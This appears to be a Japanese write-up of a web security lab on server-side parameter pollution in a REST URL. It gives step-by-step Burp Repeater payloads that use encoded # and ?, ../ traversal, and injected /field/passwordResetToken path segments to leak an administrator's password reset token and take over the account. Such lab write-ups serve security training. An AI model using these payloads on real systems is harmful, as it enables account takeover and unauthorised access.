Hello there, ('ω')ノ
なぜ成立する?(まず“絵”を持つ)
アプリは、忘れたパスワード処理でサーバー側から内部APIにHTTPリクエストを発行しています。ここで username がそのまま URLパスの一部に使われていると、
?(クエリ開始)や#(フラグメント開始)で後続を切り落とし./や../でパスを相対移動/field/...のような追加セグメントを**“サーバーが自分で付けたもの”**に見せかける …が可能になります。これが Server-Side Parameter Pollution in a REST URL の正体です。
フェーズA:観察と仮説づくり(Burpで最小実験)
管理者のパスワードリセットを開始
ブラウザで Forgot password → ユーザー名
administratorでトリガーProxy > HTTP history に
POST /forgot-passwordが出るので Send to Repeaterベースラインの再現性確認
Repeater でそのまま Send → 毎回同じ応答(OK)
特殊文字で“パスに入っている”気配を嗅ぐ
username=administrator%23(#を URLエンコード)→ 応答に Invalid route → # が“パスの末尾切り”として効いた示唆username=administrator%3F(?)→ これも Invalid route → ? が“クエリ開始”としてパスを切った示唆username=./administrator→ 元の応答に戻る → ./ は同じ場所username=../administrator→ Invalid route → ../ でパスを一段上に移動して壊れた示唆
ここまでの結論:サーバーは username を内部URLのパスに入れている可能性が高い。
フェーズB:内部API定義(OpenAPI等)へパス遡上
ルートを外しに行く
username=../%23→ Invalid routeusername=../../%23→(まだ)username=../../../%23→(まだ)username=../../../../%23→ Not found → APIルートより外側まで出られたサインAPI定義に当てる(よくあるファイル名)
username=../../../../openapi.json%23→ エラー文に APIエンドポイントのヒント:**/api/internal/v1/users/{username}/field/{field}**→ {field} という可変セグメントがあるのが重要
フェーズC:パス汚染で“別フィールド”を注入
まずはダミーで反応を見る
username=administrator/field/foo%23→ エラー(サポートは email のみ) → サーバーが /field/{…} を解釈している確証username=administrator/field/email%23→ 元の応答(エラー消失) → email は有効JS から“本命フィールド”を発見
Proxy > HTTP history で
/static/js/forgotPassword.jsを開く中に
/forgot-password?passwordResetToken=${resetToken}を発見 → passwordResetToken というフィールド名が存在フィールド差し替え → バージョン違いでエラー
username=administrator/field/passwordResetToken%23→ エラー → このアプリが指している API “internal/v?” では未サポートの可能性APIバージョンを“v1”に書き換えて叩く
username=../../v1/users/administrator/field/passwordResetToken%23→ パスワードリセットトークンが返る → v1 ではサポート。トークン控える
フェーズD:管理者のパスワードをリセット → ログイン
トークンでリセット画面へ
ブラウザで:
/forgot-password?passwordResetToken=<控えたトークン>新しいパスワードを設定
管理者でログイン → Admin パネルから carlos 削除
これでラボクリア
重要ポイントの“なぜ”
- なぜ %23(#)や %3F(?)で手応えが出る?
サーバー側が
usernameを URLのパスに埋めて内部HTTPリクエストを作る実装だと、?や#はパス切断やフラグメント開始としてルータ解析に影響します。 - なぜ ../ で外へ出られる?
相対パス正規化が入るため。
../を繰り返すと APIのルート外へ到達し、openapi.json のような定番の定義ファイルに当てられることがあります。 - なぜ username に /field/... を入れると解釈される?
実装が
GET /api/internal/v1/users/${username}のように文字列結合で内部URLを組み立てていると、usernameに/field/...を足すだけで、“本来はアプリが追加すべきパスセグメント”をユーザーが先回り挿入できます。これが Server-Side Parameter Pollution in REST URL です。
そのまま使える Burp Repeater 入力例(要点だけ)
- 観察:
username=administrator%23→ Invalid routeusername=administrator%3F→ Invalid routeusername=./administrator→ 元の応答username=../administrator→ Invalid route - ルート外へ:
username=../../../../%23→ Not foundusername=../../../../openapi.json%23→ エンドポイント文字列が漏れる - フィールド注入:
username=administrator/field/foo%23→ エラー(emailのみ)username=administrator/field/email%23→ 元の応答username=administrator/field/passwordResetToken%23→ バージョン不一致エラーusername=../../v1/users/administrator/field/passwordResetToken%23→ トークン返却
トラブル時のチェックリスト
- URLエンコード忘れ:
#は%23、?は%3F。素で送ると手前で切れる - 相対パスの段数:
../../../../はラボ環境での例。Not found が出るまで一段ずつ増やす - JSの場所:
/static/js/forgotPassword.jsを HTTP history から開いて resetToken 文字列 を必ず確認 - APIバージョン:
/api/internal/v?がダメでも/api/v1/...に寄せると通ることがある - 403/401:この手の内部呼び出しはサーバー側権限で行われるため、username の形だけを調整すればOK(追加Cookie不要)
まとめ(判断の型)
- 観察:
usernameがパスに入る“匂い”を# ? ./ ../で確かめる - 探索:
../でAPIルートから抜け、openapi.json等で仕様を盗む - 注入:
/field/{field}を username に先回り挿入(email → passwordResetTokenへ) - 迂回:APIバージョンを
../../v1/...で強制してトークン入手 - 実行:トークンで管理者のパス再設定→ログイン→carlos削除
Best regards, (^^ゞ